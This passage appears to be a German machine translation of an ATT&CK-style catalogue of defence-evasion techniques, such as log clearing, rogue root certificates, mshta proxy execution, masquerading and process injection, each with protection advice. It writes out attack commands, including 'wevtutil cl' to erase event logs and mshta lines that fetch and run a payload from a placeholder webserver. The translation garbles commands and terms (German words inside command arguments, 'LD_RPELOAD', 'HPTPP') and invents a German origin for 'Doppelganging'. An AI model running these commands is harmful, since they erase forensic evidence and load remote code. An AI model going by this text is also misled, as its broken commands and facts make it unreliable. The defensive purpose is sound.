Sicherheitsereignisweiterleitungsfunktion in wiederholten Intervallen automatisch neu zu starten und das entsprechende Änderungsmanagement auf Firewallregeln und andere Systemkonfigurationen anzuwenden.System: Windows, Linux, macOSBeschreibung:Wenn eine böswillige Anwendung unter Quarantäne gestellt oder anderweitig blockiert wird, kann der Angreifer den Grund für die Erkennung seines Tools (Indikator) ermitteln, das Tool ändern, indem er den Indikator daraus entfernt, und eine aktualisierte Version der Malware verwenden, die nicht durch Schutzmaßnahmen erkannt wird. Ein gutes Beispiel ist die Erkennung von Malware mithilfe einer Prüfsumme oder einer Dateisignatur und deren Quarantäne mit Antivirensoftware. Ein Angreifer, der feststellt, dass eine Malware aufgrund ihrer Signatur / Prüfsumme von Antivirensoftware unter Quarantäne gestellt wurde, kann Softwareverpackungstechniken oder andere Methoden zum Ändern der Datei verwenden, um die Signatur oder Prüfsumme zu ändern, und diese Malware dann wiederverwenden.Schutzempfehlungen:Der Gegner hat möglicherweise Zugriff auf das System und weiß, welche Methoden und Tools durch den Schutz der Bewohner blockiert werden. Verwenden Sie erweiterte Methoden zum Einrichten von Sicherheitsfunktionen und untersuchen Sie den Prozess möglicher Kompromisse des geschützten Systems, um den Warnprozess vor einem möglichen Eindringen zu organisieren.Identifizieren und blockieren Sie potenziell gefährliche und schädliche Software mithilfe von Whitelist-Tools wie AppLocker und Richtlinien für Softwareeinschränkungen.Die erste Erkennung eines bösartigen Tools kann eine Warnung an ein Antivirensystem oder ein anderes Sicherheitstool auslösen. Solche Ereignisse können am Umfang auftreten und mithilfe eines IDS-Systems, E-Mail-Scannen usw. erkannt werden. Die anfängliche Entdeckung sollte als Zeichen für den Beginn der Invasion angesehen werden, was eine sorgfältige Untersuchung außerhalb des "Ortes" des anfänglichen Ereignisses erfordert. Angreifer können den Angriff fortsetzen, sofern bestimmte Antiviren-Softwareereignisse nicht untersucht werden oder der Analyst das registrierte Ereignis nicht dauerhaft mit anderen Aktivitäten im Netzwerk verknüpfen kann.System: Windows, Linux, macOSBeschreibung: Angreifer können im angegriffenen System erzeugte Artefakte löschen oder ändern, einschließlich Protokolle und abgefangener Dateien, die unter Quarantäne gestellt werden. Der Speicherort und das Format der Protokolle können je nach Betriebssystem variieren. Systemprotokolle werden als Windows Event- oder Linux / macOS-Dateien wie /.bash_history und .var / log / * aufgezeichnet.Gezielte Aktionen, die den Betrieb von Ereigniserfassungs- und Warnmechanismen stören, die zum Erkennen von Eindringlingen verwendet werden können, können Sicherheitstools gefährden, wodurch Sicherheitsereignisse nicht analysiert werden. Solche Maßnahmen können den Prüfungs- und Reaktionsprozess aufgrund fehlender Daten zum Einbruch erschweren.Löschen von Windows-EreignisprotokollenWindows-Ereignisprotokolle sind eine Aufzeichnung von Warnungen und Benachrichtigungen sowie des Systembetriebs. Microsoft definiert das Ereignis als "jedes wichtige Ereignis in einem System oder Programm, das eine Benachrichtigung der Benutzer oder eine Protokollierung erfordert". Es gibt drei Systemereignisquellen: System, Anwendungen und Sicherheit.Gegner, die Aktionen im Zusammenhang mit der Kontoverwaltung, der Anmeldung bei einem Konto, dem Zugriff auf Verzeichnisdienste usw. ausführen. kann das Ereignisprotokoll löschen, um ihre Aktionen auszublenden.Ereignisprotokolle können mit den folgenden Konsolendienstprogrammen bereinigt werden:wevtutil cl system;
wevtutil cl Anwendung;
wevtutil cl Sicherheit.Protokolle können auch mit anderen Tools wie PowerShell gelöscht werden.Schutzempfehlungen: Verwenden Sie die zentrale Speicherung von Ereignisprotokollen, damit Ereignisprotokolle auf dem lokalen Computer nicht angezeigt und verwaltet werden können. Minimieren Sie nach Möglichkeit die Zeitverzögerung beim Melden von Ereignissen, um eine langfristige Protokollspeicherung auf dem lokalen System zu vermeiden. Schützen Sie Protokolldateien von Ereignissen, die lokal mit den richtigen Berechtigungen und der richtigen Authentifizierung gespeichert wurden, und beschränken Sie die Fähigkeit von Gegnern, Berechtigungen zu erhöhen. Verwenden Sie Tools, um Protokolldateien zu verschleiern und zu verschlüsseln, wenn sie lokal und während der Übertragung gespeichert werden. Überwachen Sie die Protokolle auf Ereignis 1102: "Das Überwachungsprotokoll wurde gelöscht."System: WindowsRechte: BenutzerBeschreibung: Verschiedene Windows-Dienstprogramme können zum Ausführen von Befehlen verwendet werden, möglicherweise ohne cmd aufzurufen. Beispielsweise können Forfiles, der Programmkompatibilitätsassistent (pcalua.exe), Komponenten des Windows-Subsystems für Linux (WSL) sowie andere Dienstprogramme dazu führen, dass Programme und Befehle über die Befehlszeilenschnittstelle, das Ausführungsfenster oder über Skripts ausgeführt werden.Angreifer können die oben genannten Dienstprogramme missbrauchen, um Sicherheitstools zu umgehen, insbesondere für willkürliche Dateistarts, bis ihre Aktivität auf verschiedene Weise erkannt oder blockiert wird, z. B. mithilfe von Gruppenrichtlinien, die die Verwendung von CMD verbieten.Schutzempfehlungen:Identifizieren und blockieren Sie potenziell gefährliche und schädliche Software mithilfe von AppLocker- und Softwareeinschränkungsrichtlinien. Diese Mechanismen können verwendet werden, um den Benutzerzugriff auf Dienstprogramme zu deaktivieren oder einzuschränken, mit denen Befehle indirekt ausgeführt werden können.System: Windows, Linux, MacOS
Rechte: Administrator, Benutzer
Beschreibung: Stammzertifikate werden verwendet, um eine Zertifizierungsstelle (CA) zu identifizieren. Wenn das Stammzertifikat installiert ist, vertrauen das System und die Anwendungen allen Zertifikaten in der Stammzertifikatskette. Zertifikate werden normalerweise verwendet, um sichere TLS / SSL-Verbindungen in einem Webbrowser herzustellen. Wenn ein Benutzer versucht, eine Site zu öffnen, auf der ein nicht vertrauenswürdiges Zertifikat angezeigt wird, wird eine Fehlermeldung angezeigt, die den Benutzer vor einem Sicherheitsrisiko warnt. Abhängig von den Sicherheitseinstellungen verbietet der Browser möglicherweise Verbindungen zu nicht vertrauenswürdigen Sites.
Durch die Installation eines Stammzertifikats in einem angegriffenen System kann ein Angreifer die Gesamtsicherheit des Systems verringern. Angreifer können diese Methode verwenden, um Sicherheitswarnungen auszublenden, wodurch der Benutzer über HTTPS eine Verbindung zu feindlich kontrollierten Webservern herstellt, um seine Anmeldeinformationen zu stehlen.
Externe Root-Zertifikate können vom Softwarehersteller entweder während der Software-Lieferkette vorinstalliert und in Verbindung mit Malware und Adware verwendet werden oder um einen "Middle-Person" -Angriff zum Abfangen von Informationen bereitzustellen, die über sichere TLS / SSL-Verbindungen übertragen werden.
Stammzertifikate können auch geklont und neu installiert werden. Solche Zertifikatketten können zum Signieren von Schadcode verwendet werden, um die Signaturüberprüfungstools zu umgehen, mit denen Eindringlinge blockiert und erkannt werden.
Unter macOS verwendet Ay MaMi-Malware den Befehl
/ usr / bin / security add-vertrauenswürdiges Zertifikat -d -r trustRoot -k / Bibliothek / Schlüsselanhänger / System / Schlüsselbundpfad / zu / bösartig / Zertifikat , um das Zertifikat als vertrauenswürdiges
Stammzertifikat festzulegen Systemkette.
Sicherheitsempfehlungen: HPTPP (HTTP Public Key Pinning) ist eine Möglichkeit zum Schutz vor Angriffen der Zertifikatskette. HPKP geht davon aus, dass der Server dem Client eine Reihe von Hashes für öffentliche Schlüssel mitteilt, die die einzigen vertrauenswürdigen Hashes sein sollten, wenn für eine bestimmte Zeit eine Verbindung zu diesem Server hergestellt wird.
Mithilfe der Windows-Gruppenrichtlinie können Stammzertifikate verwaltet und Nichtadministratoren daran gehindert werden, zusätzliche Stammzertifikate in Benutzerrepositorys (HKCUs) zu installieren:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ SystemCertificates \ Root \ ProtectedRoots \ Flags = 1.Es ist unwahrscheinlich, dass sich die Stammzertifikate des Systems häufig ändern. Daher kann man während der Überwachung neuer Zertifikate böswillige Aktivitäten erkennen oder sicherstellen, dass keine unnötigen oder verdächtigen Zertifikate vorhanden sind. Microsoft stellt über authroot.stl eine Liste vertrauenswürdiger Stammzertifikate bereit. Mit dem Dienstprogramm Sysinternals Sigcheck können Sie den Inhalt des Zertifikatspeichers (Sigcheck [64] .exe -tuv) sichern und Zertifikate identifizieren, die nicht in der Microsoft Certificate Trust List enthalten sind.
Installierte Stammzertifikate befinden sich in der Registrierung in den folgenden Abschnitten:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ EnterpriseCertificates \ Root \ Certificates
HKEY_LOCAL_MACHINE [HKEY_CURRENT_USER] \ SOFTWARE [\ Richtlinien] \ Microsoft \ SystemCertificates \ Root \ CertificatesEs gibt eine Teilmenge von Stammzertifikaten, die ständig in Windows-Systemen verwendet werden und zur Überwachung verwendet werden können:
• 18F7C1FCC3090203FD5BAA2F861A754976C8DD25;
• 245C97DF7514E7CF2DF8BE72AE957B9E04741E85;
• 3B1EFD3A66EA28B16697394703A72CA340A05BD5;
• 7F88CD7223F3C813818C994614A89C99FA3B5247;
• 8F43288AD272F3103B6FB1428485EA3014C0BCFE;
• A43489159A520F0D93D032CCAF37E7FE20A8B419;
• BE36A4562FB2EE05DBB3D32323ADF445084ED656;
• CDD4EEAE6000AC7F40C3802C171E30148030C072.
System: Windows
Rechte: Benutzer
Beschreibung: InstallUtil ist ein Windows-Befehlszeilenprogramm, mit dem Anwendungen installiert und deinstalliert werden können, die den .NET Framework-Spezifikationen entsprechen. Installutil wird automatisch mit VisualStudio installiert. Die Datei InstallUtil.exe ist von einem Microsoft-Zertifikat signiert und gespeichert in:
C: \ Windows \ Microsoft.NET \ Framework \ v [Version] \ InstallUtil.exeAngreifer können die InstallUtil-Funktionalität verwenden, um Proxy-Code auszuführen und Anwendungs-Whitelists zu umgehen.
Schutzempfehlungen
: Möglicherweise wird InstallUtil auf Ihrem System nicht verwendet. Blockieren Sie daher möglicherweise die Installation von InstallUtil.exe.
System: macOS
Rechte: Benutzer, Administrator
Beschreibung: Ab OS X 10.8 ist der LC_MAIN-Header in den ausführbaren Dateien von mach-O enthalten, der den Einstiegspunkt des Binärcodes angibt, um ihn auszuführen. In früheren Versionen wurden zwei LC_THREAD- und LC_UNIXTHREAD-Header verwendet. Der Einstiegspunkt für die Binärdatei kann geändert werden, und zunächst wird eine böswillige Hinzufügung durchgeführt. Anschließend kehrt die Ausführung zum Startpunkt zurück, sodass das Opfer nichts bemerkt. Eine solche Änderung von Binärdateien ist eine Möglichkeit, die weiße Liste der Anwendungen zu umgehen, da der Dateiname und der Pfad zur Anwendung unverändert bleiben.
Schutzempfehlungen: Verwenden Sie Anwendungen, die nur gültige digitale Signaturen von vertrauenswürdigen Entwicklern haben. Durch Ändern des LC_MAIN-Headers wird die Dateisignatur ungültig und die Prüfsumme der Datei wird geändert.
System: macOS
Rechte: Benutzer, Administrator
Beschreibung: Launchctl - ein Dienstprogramm zum Verwalten des Launchd-Dienstes. Mit Launchctl können Sie System- und Benutzerdienste (LaunchDeamons und LaunchAgents) verwalten sowie Befehle und Programme ausführen. Launchctl unterstützt Befehlszeilen-Unterbefehle, die interaktiv sind oder von der Standardeingabe umgeleitet werden:
launchctl submit -l [Labelname] - / Path / to / thing / to / execute '' arg "'' arg" '' arg " .
Durch Starten und Neustarten von Diensten und Dämonen können Angreifer Code ausführen und sogar die Whitelist umgehen, wenn launchctl ein autorisierter Prozess ist. Das Laden, Entladen und Neustarten von Diensten und Dämonen erfordert jedoch möglicherweise erhöhte Berechtigungen.
Sicherheitsempfehlungen: Einschränkung der Benutzerrechte zum Erstellen von Startagenten und zum Starten von Startdeamons mithilfe von Gruppenrichtlinien. Mit der
KnockKnock- App können
Sie Programme ermitteln, die mit launchctl Launch Agents und Launch Deamons verwalten.
System: Windows, Linux, MacOS
Beschreibung: Maskerading tritt auf, wenn der Name oder Speicherort einer ausführbaren Datei, legal oder böswillig, verschiedenen Manipulationen und Missbräuchen ausgesetzt ist, um den Schutz zu umgehen. Es sind verschiedene Maskierungsoptionen bekannt.
Eine Möglichkeit besteht darin, die ausführbare Datei in einem allgemein akzeptierten Verzeichnis abzulegen oder den Namen eines legitimen, vertrauenswürdigen Programms zu erhalten. Der Dateiname kann dem Namen eines legitimen Programms ähnlich sein. Diese Maskierungsmethode wird verwendet, um Tools zu umgehen, die Dateien basierend auf dem Namen oder Pfad zur Datei vertrauen, sowie um Systemadministratoren zu täuschen.
WindowsEine andere Möglichkeit zur Maximierung besteht darin, dass ein Angreifer eine geänderte Kopie eines legitimen Dienstprogramms wie rundll32.exe verwendet. In diesem Fall kann ein legitimes Dienstprogramm in ein anderes Verzeichnis verschoben und umbenannt werden, um eine Erkennung aufgrund der Überwachung des Starts von Systemdienstprogrammen von nicht standardmäßigen Standorten aus zu vermeiden.
Ein Beispiel für den Missbrauch vertrauenswürdiger Verzeichnisse in Windows ist das Verzeichnis C: \ Windows \ System32. Die Namen vertrauenswürdiger Systemdienstprogramme wie explorer.exe oder svchost.exe können böswilligen Binärdateien zugewiesen werden.
LinuxDie nächste Maskierungsmethode besteht darin, schädliche Binärdateien zu verwenden, die nach dem Start den Namen ihres Prozesses in den Namen eines legitimen, zuverlässigen Prozesses ändern. Ein Beispiel für ein vertrauenswürdiges Verzeichnis unter Linux ist das Verzeichnis / bin, und Namen wie rsyncd oder dbus-inotifier können vertrauenswürdige Namen sein.
Sicherheitsempfehlungen
: Vermeiden Sie beim Erstellen verschiedener Sicherheitsregeln Ausnahmen, die auf dem Namen und dem Pfad der Datei basieren. Signieren von Binärdateien erforderlich. Verwenden Sie Dateisystemzugriffskontrollen, um vertrauenswürdige Verzeichnisse wie C: \ Windows \ System32 zu schützen. Verwenden Sie keine Tools, um die Ausführung von Programmen basierend auf dem Namen oder dem Pfad zur Datei einzuschränken.
Identifizieren und blockieren Sie potenziell gefährliche und schädliche Software, die wie ein legitimes Programm aussehen kann.
System: Windows
Rechte: Benutzer, Administrator, System
Beschreibung: Angreifer können die Registrierung ändern, um Informationen in den Registrierungsschlüsseln auszublenden oder Informationen während der Bereinigung der Spuren einer Invasion oder in anderen Phasen des Angriffs zu löschen.
Der Zugriff auf bestimmte Bereiche der Registrierung hängt von den Berechtigungen des Kontos ab. Das integrierte Reg-Dienstprogramm kann sowohl für lokale als auch für Remote-Registrierungsänderungen verwendet werden. Andere RAS-Tools, die über die Windows-API mit der Registrierung interagieren, können verwendet werden.
Änderungen an der Registrierung können Aktionen zum Ausblenden der Schlüssel enthalten, z. B. durch Hinzufügen von Schlüsseln mit einem Namen aus einem Nullzeichen. Das Lesen eines solchen Schlüssels über Reg oder API führt zu einem Fehler oder wird ignoriert. Angreifer können solche versteckten Pseudoschlüssel verwenden, um die Nutzlast und die Befehle zu verbergen, die bei der Konsolidierung im System verwendet werden.
Die Registrierung des Remote-Systems kann auch geändert werden, wenn der Remote-Registrierungsdienst auf dem Zielsystem aktiv ist. In der Regel benötigt ein Angreifer auch gültige Anmeldeinformationen sowie Zugriff auf Windows-Administratorfreigaben, um RPC verwenden zu können.
Schutzempfehlungen: Eine falsche Einstellung der Berechtigungen in der Registrierung kann dazu führen, dass ein Angreifer beliebigen Code ausführen kann (
Schwäche der Serviceregistrierungsberechtigungen ). Stellen Sie sicher, dass Benutzer die Systemkomponentenschlüssel nicht ändern können. Blockieren Sie unnötige Systemdienstprogramme und andere Software, mit denen die Registrierung geändert werden kann. Aktivieren Sie möglicherweise die Registrierungsüberwachung (Ereignis-ID4657). Beachten Sie jedoch, dass Registrierungsänderungen, die mit Tools wie RegHide vorgenommen wurden, nicht vom OS-Ereigniserfassungsdienst protokolliert werden.
System: Windows
Rechte: Benutzer
Beschreibung: Mshta.exe (in
C: \ Windows \ System32 \ ) ist ein Dienstprogramm, mit dem Microsoft HTML-Anwendungen (* .HTA) ausgeführt werden. HTA-Anwendungen werden mit denselben Technologien ausgeführt wie InternetExplorer, jedoch außerhalb des Browsers. Aufgrund der Tatsache, dass Mshta Dateien unter Umgehung der Browsersicherheitseinstellungen verarbeitet, können Angreifer mshta.exe verwenden, um die Ausführung von schädlichen HTA-Dateien, Javascript oder VBScript zu vertreten. Die schädliche Datei kann über das integrierte Skript gestartet werden:
mshta vbscript: Close (Execute ("GetObject (" "script: https [:] // webserver / payload [.] sct" ")")))oder direkt unter der URL:
mshta http [:] // webserver / payload [.] htaSchutzempfehlungen
: Die Funktionalität von mshta.exe ist älteren Versionen von IE zugeordnet, die das Ende ihres Lebenszyklus erreicht haben. Blockieren Sie Mshta.exe, wenn Sie die Funktionalität nicht verwenden.
System: Windows
Beschreibung: Der NTFS-Abschnitt enthält die Master File Table (MFT), in der Daten zum Inhalt des Volumes gespeichert sind. Die Zeilen entsprechen den Dateien und die Spalten ihren Attributen, einschließlich Attributen wie Extended Attribute (EA) (eine Zeichenfolge von 64 KB) und Alternative Streams (Alternate Data Streams (ADS) - Metadaten beliebiger Größe), mit denen beliebige Daten gespeichert werden können. Angreifer können schädliche Daten und Binärdateien in erweiterten Attributen und Dateimetadaten speichern. Mit dieser Technik können Sie einige Schutzwerkzeuge umgehen, z. B. auf statischen Indikatoren basierende Scan-Tools und einige Antiviren-Tools.
Schutzempfehlungen: Das Blockieren des Zugriffs auf EA und ADS kann sehr komplex und unangemessen sein und außerdem zu einem instabilen Betrieb der Standardfunktionen des Betriebssystems führen. Richten Sie den Schutzvektor so aus, dass keine Software gestartet wird, mit der Sie Informationen in EA und ADS ausblenden können.
System: Windows
Rechte: Administrator, Benutzer
Beschreibung: Verbindungen zu Netzwerkordnern und Windows Admin Share können gelöscht werden, wenn sie nicht mehr benötigt werden. Net ist ein Beispiel für ein Dienstprogramm, mit dem Netzwerkverbindungen entfernt werden können:
net use \ system \ share / delete . Gegner können Netzwerkverbindungen entfernen, die sie nicht benötigen, um die Intrusion Traces zu löschen.
Sicherheitstipps: Befolgen Sie die bewährten Methoden zum Organisieren von Windows-Administratorfreigaben. Identifizieren Sie unnötige Systemdienstprogramme und Software, die zum Herstellen einer Verbindung mit Netzwerkfreigaben verwendet werden können, und prüfen Sie deren Verwendung oder Blockierung.
System: Windows, Linux, MacOS
Beschreibung: Angreifer können Verschlüsselung, Verschlüsselung und alle Arten von Methoden verwenden, um Dateien und deren Inhalte im System oder während ihrer Übertragung zu verschleiern.
Nutzdaten können archiviert oder verschlüsselt werden. Manchmal sind für ihre Deobfuscation und den anschließenden Start einige Benutzeraktionen erforderlich, z. B. die Eingabe eines Kennworts zum Öffnen eines von einem Angreifer erstellten Archivs.
Um Klartextzeilen auszublenden, können auch Teile von Dateien codiert werden. Nutzdaten können in separate „harmlose“ Dateien unterteilt werden, die zusammengenommen schädliche Funktionen ausführen.
Gegner können Befehle, die von Nutzdaten aufgerufen werden, auch direkt oder über die Befehlszeilenschnittstelle verschleiern. Umgebungsvariablen, Aliase und Zeichen, die für die Plattform- oder Sprachsemantik spezifisch sind, können verwendet werden, um die Malware-Erkennung basierend auf Signaturen und Whitelists zu umgehen.
Ein weiteres Beispiel für die Verschleierung ist die Verwendung der Steganographie - die Technik zum Verstecken von Daten oder Code in Bildern, Audiospuren, Video- und Textdateien.
Schutzempfehlungen: Verwenden Sie Tools zur Analyse und Erkennung von Malware, die nicht nur den Quellcode selbst überprüfen, sondern auch den Prozess der Ausführung von Befehlen analysieren. In Windows 10 wird diese Funktionalität als Antimalware Scan Interface (AMSI) dargestellt.
Das Vorhandensein von Escape-Zeichen in Befehlen wie ^ oder "kann als Indikator für die Verschleierung dienen. Mit Windows Sysmon und dem Ereignis Event ID 4688 können Sie die Argumente von Befehlen anzeigen, die in verschiedenen Prozessen ausgeführt werden.
Die in Nutzdaten während der ersten Zugriffsphase verwendete Verschleierung kann im Netzwerk mithilfe des IDS-Systems und der E-Mail-Sicherheitsgateways erkannt werden, die komprimierte, verschlüsselte Daten und Skripte in den angehängten Dateien identifizieren. Die Identifizierung von Nutzdaten, die über eine verschlüsselte Verbindung von einer Website übertragen werden, kann durch Überprüfen des verschlüsselten Datenverkehrs erfolgen.
System: macOS
Rechte: Benutzer, Administrator
Beschreibung: Angreifer können Plist-Dateien ändern, indem sie in ihnen ihren eigenen Code für die Ausführung im Kontext eines anderen Benutzers angeben. Die plist-Eigenschaftendateien in / Library / Preferences werden mit erhöhten Berechtigungen ausgeführt, und die plist-Dateien aus ~ / Library / Preferences werden mit Benutzerberechtigungen ausgeführt.
Sicherheitstipps
: Verhindern Sie, dass Plist-Dateien geändert werden, indem Sie sie schreibgeschützt machen.
System: Linux, MacOS
Rechte: Benutzer
Beschreibung: Angreifer können Port Knocking-Methoden verwenden, um offene Ports auszublenden, über die sie eine Verbindung zum System herstellen.
Sicherheitstipps: Die Verwendung von Stateful Firewalls kann verhindern, dass einige Port Knocking-Optionen implementiert werden.
System: Windows
Rechte: Benutzer, Administrator, System
Beschreibung: Transactional NTFS (TxF) ist eine Technologie, die erstmals in Vista eingeführt wurde und Dateivorgänge mithilfe von Transaktionen ermöglicht. In TxF kann derzeit nur ein Transaktionsdeskriptor die Datei schreiben, alle anderen Deskriptoren werden isoliert und können nur die Version der Datei lesen, die zum Zeitpunkt des Öffnens gesperrt war. Wenn das System oder die Anwendung abstürzt, setzt TxF die Änderungen an der Datei automatisch zurück. TxF ist weiterhin in Windows 10 enthalten.
Technikprozess Doppelganging (aus dem deutschen „zweistufigen Getriebe“, „Doppelhub“) beinhaltet die Verwendung von undokumentierten WinAPI-Funktionen und wird in 4 Schritten implementiert:
- Transaktion Eine NTFS-Transaktion wird mit der angegriffenen ausführbaren Datei erstellt, und eine temporär geänderte Version der ausführbaren Datei wird als Teil der Transaktion erstellt.
- Herunterladen Im Speicher wird ein freigegebener Abschnitt erstellt, in den eine geänderte Version der ausführbaren Datei geladen wird.
- Rollback. Die NTFS-Transaktion wird zurückgesetzt, wodurch die ursprünglich angegriffene Datei in ihrer ursprünglichen Form auf der Festplatte gespeichert wird.
- Animation. Mit einer geänderten Version der ausführbaren Datei, die im RAM verbleibt, wird ein Prozess erstellt und dessen Ausführung gestartet.
Daher funktioniert bösartiger Code im Kontext eines legitimen vertrauenswürdigen Prozesses. Vorausgesetzt, der Angriff erfolgt nur im Speicher, weil Eine NTFS-Transaktion wird nicht abgeschlossen, sondern zurückgesetzt. Auf der Festplatte verbleibt keine Spur böswilliger Aktivitäten.
Sicherheitstipps: Vorbeugende Sicherheitsmaßnahmen in Form von Versuchen, bestimmte API-Aufrufe zu blockieren, haben wahrscheinlich negative Nebenwirkungen. Der Schutzvektor muss darauf ausgerichtet sein, den Start bösartiger Tools in früheren Phasen der Angriffskette zu verhindern. Doppelganging kann verwendet werden, um Sicherheitsfunktionen zu umgehen. Es wird jedoch weiterhin empfohlen, potenziell gefährliche Anwendungen zu blockieren und die Verwendung von Software mithilfe von Whitelists einzuschränken. Die Angriffserkennung wird durchgeführt, indem Aufrufe der API-Funktionen CreateTransaction, CreateFileTransacted, RollbackTransaction, undokumentierte Funktionen wie NTCreateProcessEX, NtCreateThreadEX und API-Aufrufe zum Ändern des Speichers in einem anderen Prozess wie WriteProcessMemory analysiert werden.
System: Windows
Rechte: Benutzer
Beschreibung: Der Angriff wird ausgeführt, indem das Image der ausführbaren Datei des Prozesses während der Unterbrechung des Prozesses ersetzt wird. Es gehört zu den zehn Grundtechniken für Injektionsprozesse .Sicherheitstipps: Vorbeugende Sicherheitsmaßnahmen in Form von Versuchen, bestimmte API-Aufrufe zu blockieren, haben wahrscheinlich negative Nebenwirkungen. Der Schutzvektor muss darauf ausgerichtet sein, den Start bösartiger Tools in früheren Phasen der Angriffskette zu verhindern. Process Hollowing kann verwendet werden, um Sicherheitsfunktionen zu umgehen. Es wird jedoch weiterhin empfohlen, potenziell gefährliche Anwendungen zu blockieren und die Verwendung von Software mithilfe von Whitelists einzuschränken.System: Windows, Linux, macOSRechte: Benutzer, Administrator, System, RootBeschreibung: Die Prozessinjektion ist eine Methode zum Ausführen von beliebigem Code im Adressraum eines separaten lebenden Prozesses. Durch Ausführen von Code im Kontext eines anderen Prozesses können Sie auf den Speicher des injizierten Prozesses, auf System- / Netzwerkressourcen und möglicherweise auf erhöhte Berechtigungen zugreifen. Prozessinjektionen können auch verwendet werden, um eine mögliche Erkennung böswilliger Aktivitäten durch Sicherheitsmaßnahmen zu vermeiden. Techniken zum Implementieren von Injektionen in Prozesse basieren auf dem Missbrauch verschiedener Mechanismen, die ein Multithreading der Programmausführung im Betriebssystem sicherstellen. Im Folgenden finden Sie einige Ansätze zum Einfügen von Code in einen Prozess.Windows• DLL-Injektionen. Sie werden ausgeführt, indem der Pfad zur schädlichen DLL innerhalb des Prozesses geschrieben und dann ausgeführt wird, indem ein Remote-Thread erstellt wird (Remote-Thread - ein Thread, der im virtuellen Adressraum eines anderen Prozesses ausgeführt wird). Mit anderen Worten, die Malware schreibt die DLL auf die Festplatte und verwendet dann eine Funktion wie CreateRemoteTread, die die LoadLibrary-Funktion im injizierten Prozess aufruft.• PE-Injektionen (Portable Executeable Injection) basieren auf dem Missbrauch von Speicherausführungsfunktionen von PE-Dateien wie DLL oder EXE. Schädlicher Code wird in den Prozess geschrieben, ohne dass Dateien auf die Festplatte geschrieben werden. Anschließend wird die Ausführung mithilfe des zusätzlichen Codes oder durch Erstellen eines Remote-Streams aufgerufen.• Beim Hijacking der Thread-Ausführung werden schädlicher Code oder DLL-Pfade direkt in den Prozessthread eingefügt. Wie bei der Process Hollowing-Technik muss der Durchfluss zuerst unterbrochen werden.• Bei der Injektion in eine APC-Injektion (Asynchronous Procedure Call) wird bösartiger Code in die APC-Warteschlange eines Prozessthreads eingebettet. Eine der Methoden der APC-Injektion, die als „Earle Bird-Injektion“ bezeichnet wird, umfasst die Erstellung eines angehaltenen Prozesses, in dem bösartiger Code geschrieben und über APC zum Prozesseintrittspunkt gestartet werden kann. AtomBombing ist eine weitere Injection-Option, die APC verwendet, um bösartigen Code aufzurufen, der zuvor in die globale Atomtabelle geschrieben wurde.• Bei TLS-Injektionen (Thread Local Storage) werden Speicherzeiger in einer ausführbaren PE-Datei bearbeitet, um den Prozess auf schädlichen Code umzuleiten.Mac und Linux• Mit den Systemvariablen LD_RPELOAD, LD_LIBRARY_PATH (Linux), DYLIB_INSERT_LIBRARIES (macOS X) oder der dlfcn-Anwendungsprogrammierschnittstelle (API) kann eine Bibliothek (gemeinsam genutztes Objekt) dynamisch in einen Prozess geladen werden, von dem aus wiederum API-Aufrufe abgefangen werden können Prozesse ausführen.• Der Ptrace-Systemaufruf kann verwendet werden, um eine Verbindung zu einem laufenden Prozess herzustellen und ihn zu ändern, während er ausgeführt wird.• / proc / [pid] / mem bietet Zugriff auf den Prozessspeicher und kann zum Lesen / Schreiben beliebiger Daten verwendet werden. Diese Methode wird jedoch aufgrund der Komplexität ihrer Implementierung selten verwendet.• Mit Capture VDSO (Virtual Dynamic Shared Object) können Sie Code einfügen, während Sie binäre ELF-Dateien ausführen und die Code-Stubs von linux-vdso.so bearbeiten.Schädliche Programme verwenden normalerweise die Code-Injektion in einen Prozess, um auf Systemressourcen zuzugreifen. Dadurch kann ein Angreifer im System Fuß fassen und andere Änderungen in der angegriffenen Umgebung vornehmen. Komplexere Proben können mehrere Prozessinjektionen durchführen, um die Erkennung zu erschweren.Schutzempfehlungen:Methoden zum Einfügen von Code in Prozesse basieren auf dem Missbrauch regulärer Betriebssystemfunktionen, was sich direkt auf den instabilen Betrieb legitimer Software und Sicherheitsprodukte auswirken kann. Die Bemühungen, den Einsatz von Abfangtechniken zu verhindern, müssen sich auf die früheren Phasen der Angriffskette konzentrieren. Verwenden Sie Tools, um potenziell gefährliche Software wie AppLocker zu blockieren. Verwenden Sie Yama als vorbeugende Maßnahme gegen Code-Injection in ptrace und beschränken Sie die Verwendung von ptrace nur auf privilegierte Benutzer. Zusätzliche Sicherheitsmaßnahmen können die Bereitstellung von Kernel-Sicherheitsmodulen umfassen, die eine erweiterte Zugriffskontrolle und Prozessbeschränkung bieten. Zu diesen Tools gehören SELinux, grsecurity und AppArmor.System: Windows, Linux, macOSRechte: Benutzer, Administrator,Systembeschreibung:Angreifer können gleichzeitig mehrere Fernzugriffstools mit unterschiedlichen Steuerprotokollen verwenden, um Erkennungsrisiken zu diversifizieren. Wenn also eines der Remotezugriffstools erkannt und blockiert wird, die verteidigende Partei jedoch nicht alle Tools des Angreifers identifiziert hat, bleibt der Remotezugriff auf das angegriffene Netzwerk erhalten. Angreifer können auch versuchen, Zugriff auf gültige Konten von Remote-Unternehmensdiensten wie VPNs zu erhalten, um alternativen Zugriff auf das System zu erhalten, falls die grundlegenden Tools für den Remotezugriff blockiert werden. Die Verwendung einer Web-Shell ist auch eine der Möglichkeiten, über einen Webserver remote auf ein Netzwerk zuzugreifen.Schutzempfehlungen:Überwachen Sie das Vorhandensein und die Blockierung des Starts bekannter RAS-Tools in Ihrem Netzwerk (AmmyAdmin, Radmin, RemotePC, VNC usw.), steuern Sie den Anwendungsstart mithilfe von Tools und blockieren Sie potenziell gefährliche Software. Die Einführung von IDS- und IPS-Systemen, die bestimmte Malware mithilfe von Signaturen erkennen, verringert die Wahrscheinlichkeit eines erfolgreichen Angriffs. Im Laufe der Zeit ändern Angreifer jedoch ihre Tools, um die Signatur zu ändern, und umgehen daher IDS- und IPS-Systeme.System: Windows-Rechte: Benutzer, AdministratorBeschreibung: Regsvcs und Regasm sind Windows-Dienstprogramme, die zum Registrieren beim COM-Assemblysystem (.NET Component Object Model) verwendet werden. Beide Dateien sind von Microsoft digital signiert. Angreifer können Regsvcs und Regasm zur Proxy-Codeausführung verwenden, wenn das Attribut der Code ist, der vor dem Registrieren oder Aufheben der Registrierung ausgeführt werden muss: [ComRegisterFunction] oder [ComUnregisterFunction]. Code mit solchen Attributen kann auch dann gestartet werden, wenn der Prozess mit unzureichenden Berechtigungen ausgeführt wird oder beim Start sogar abstürzt. Schutzempfehlungen: Blockieren Sie Regsvcs.exe und Regasm.exe, wenn sie nicht in Ihrem System oder Netzwerk verwendet werden.System: Windows, Linux, 